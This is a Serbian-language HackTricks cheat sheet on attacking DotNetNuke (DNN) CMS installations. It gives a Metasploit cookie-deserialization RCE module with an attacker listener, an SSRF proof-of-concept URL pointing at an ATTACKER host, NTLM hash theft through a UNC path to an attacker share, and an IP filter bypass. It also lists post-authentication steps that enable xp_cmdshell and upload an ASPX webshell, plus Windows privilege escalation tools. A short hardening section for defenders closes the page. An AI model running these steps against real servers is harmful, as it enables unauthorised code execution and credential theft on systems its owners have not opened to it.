96 lines
4.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# DotNetNuke (DNN)
{{#include ../../banners/hacktricks-training.md}}
## DotNetNuke (DNN)
Ako se prijavite kao **administrator** u DNN, lako je dobiti **RCE**, međutim, u poslednjih nekoliko godina objavljeno je nekoliko *neautentifikovanih* i *post-auth* tehnika. Ova cheat-sheet sakuplja najkorisnije primitivne tehnike za ofanzivni i defanzivni rad.
---
## Verzija i Okruženje
* Proverite *X-DNN* HTTP odgovorni header obično otkriva tačnu verziju platforme.
* Čarobnjak za instalaciju otkriva verziju u `/Install/Install.aspx?mode=install` (pristup na veoma starim instalacijama).
* `/API/PersonaBar/GetStatus` (9.x) vraća JSON blob koji sadrži `"dnnVersion"` za korisnike sa niskim privilegijama.
* Tipični kolačići koje ćete videti na aktivnoj instanci:
* `.DOTNETNUKE` ASP.NET forms authentication ticket.
* `DNNPersonalization` sadrži XML/serijalizovane podatke o korisničkom profilu (stare verzije vidi RCE ispod).
---
## Neautentifikovana Eksploatacija
### 1. Deserializacija Kolačića RCE (CVE-2017-9822 & follow-ups)
*Zahvaćene verzije ≤ 9.3.0-RC*
`DNNPersonalization` se deserializuje pri svakoj zahtev kada je ugrađeni 404 handler omogućen. Tako kreirani XML može dovesti do proizvoljnih gadget lanaca i izvršavanja koda.
```
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
Modul automatski bira pravi put za zakrpljene, ali još uvek ranjive verzije (CVE-2018-15811/15812/18325/18326). Eksploatacija funkcioniše **bez autentifikacije** na 7.x9.1.x i sa *verifikovanim* nalozima sa niskim privilegijama na 9.2.x+.
### 2. Server-Side Request Forgery (CVE-2025-32372)
*Pogođene verzije < 9.13.8 Zakrpa objavljena aprila 2025*
Zaobilaženje starijeg `DnnImageHandler` rešenja omogućava napadaču da primora server da izda **arbitrarne GET zahteve** (polu-slepi SSRF). Praktični uticaji:
* Interni port skeniranje / otkrivanje metapodataka u cloud implementacijama.
* Dostupnost hostova koji su inače zaštićeni od Interneta.
Dokaz koncepta (zameni `TARGET` & `ATTACKER`):
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
Zahtev se pokreće u pozadini; pratite svog slušatelja za povratne pozive.
### 3. Izloženost NTLM heša putem UNC preusmeravanja (CVE-2025-52488)
*Zahvaćene verzije 6.0.0 9.x (< 10.0.1)*
Specijalno oblikovan sadržaj može naterati DNN da pokuša da preuzme resurs koristeći **UNC put** kao što je `\\attacker\share\img.png`. Windows će rado izvršiti NTLM pregovaranje, otkrivajući heševe server-računa napadaču. Ažurirajte na **10.0.1** ili onemogućite odlazni SMB na vatrozidu.
### 4. Zaobilaženje IP filtera (CVE-2025-52487)
Ako administratori oslanjaju na *Host/IP filtere* za zaštitu administrativnog portala, imajte na umu da se verzije pre **10.0.1** mogu zaobići manipulacijom `X-Forwarded-For` u scenariju obrnute proxy.
---
## Post-autentifikacija do RCE
### Putem SQL konzole
Pod **`Settings → SQL`** ugrađeni prozor za upite omogućava izvršavanje protiv baze podataka sajta. Na Microsoft SQL Server-u možete omogućiti **`xp_cmdshell`** i pokrenuti komande:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### Putem ASPX webshell upload
1. Idite na **`Settings → Security → More → More Security Settings`**.
2. Dodajte `aspx` (ili `asp`) u **Allowable File Extensions** i **Save**.
3. Idite na **`/admin/file-management`** i otpremite `shell.aspx`.
4. Aktivirajte ga na **`/Portals/0/shell.aspx`**.
---
## Eskalacija privilegija na Windows-u
Kada se postigne izvršenje koda kao **IIS AppPool\<Site>**, primenjuju se uobičajene tehnike eskalacije privilegija na Windows-u. Ako je sistem ranjiv, možete iskoristiti:
* **PrintSpoofer** / **SpoolFool** za zloupotrebu *SeImpersonatePrivilege*.
* **Juicy/Sharp Potatoes** za bekstvo iz *Service Accounts*.
---
## Preporuke za jačanje (Plavi tim)
* **Ažurirajte** na najmanje **9.13.9** (popravlja SSRF zaobilaženje) ili po mogućstvu **10.0.1** (IP filter i NTLM problemi).
* Uklonite preostale **`InstallWizard.aspx*`** datoteke nakon instalacije.
* Onemogućite odlazni SMB (portovi 445/139) izlaz.
* Sprovodite jake *Host Filters* na ivici proksija umesto unutar DNN.
* Blokirajte pristup `/API/RemoteContentProxy` ako se ne koristi.
## Reference
* Metasploit `dnn_cookie_deserialization_rce` modul dokumentacija praktični detalji o neautentifikovanom RCE (GitHub).
* GitHub Security Advisory GHSA-3f7v-qx94-666m informacije o SSRF zaobilaženju i zakrpi za 2025. godinu.
{{#include ../../banners/hacktricks-training.md}}